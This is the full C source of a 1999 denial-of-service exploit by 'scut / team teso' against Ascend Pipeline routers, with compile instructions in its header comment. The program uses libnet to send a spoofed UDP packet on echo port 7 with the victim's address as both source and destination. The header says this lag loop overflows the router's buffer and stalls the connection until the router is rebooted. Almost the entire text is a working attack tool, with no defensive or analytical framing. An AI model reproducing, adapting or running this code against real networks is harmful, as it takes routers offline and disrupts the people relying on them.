1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
/* ascend foo denial of service exploit
* 1999/09/25
*
* basically just another lame echo/echo link, but has nice results on ascend,
* you can increase the lag in steps of 2ms by sending one packet, after some
* few hundret ms lag you overflow the internal packet buffer and the whole
* connection stalls, the router has to be rebooted.
*
* by scut / team teso [http://teso.scene.at/]
*
* compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN
* works fine against Ascend Pipeline * modells, haven't tried against others
*/
#include <stdio.h>
#include <libnet.h>
int
main (int argc, char **argv)
{
int sock, c;
u_long src_ip;
u_char *buf;
u_char *qbuf;
int qbuf_s = 0;
printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n");
if (argc < 2) {
printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]);
exit (EXIT_FAILURE);
} else if (argc == 2) {
qbuf_s = 73;
} else {
qbuf_s = atoi (argv[2]);
}
qbuf = malloc (qbuf_s);
src_ip = libnet_name_resolve (argv[1], 0);
if (src_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}
buf = calloc (1, (UDP_H + IP_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}
libnet_seed_prand ();
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}
libnet_build_ip ( UDP_H + qbuf_s, /* content size */
0, /* tos */
0, /* id */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* heh ;) */
src_ip,
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_build_udp ( 7, /* source port */
7,
qbuf, /* content already there */
qbuf_s, /* same */
buf + IP_H); /* build after ip header */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s);
c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s);
if (c < UDP_H + IP_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim router\n", c);
free (buf);
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
|
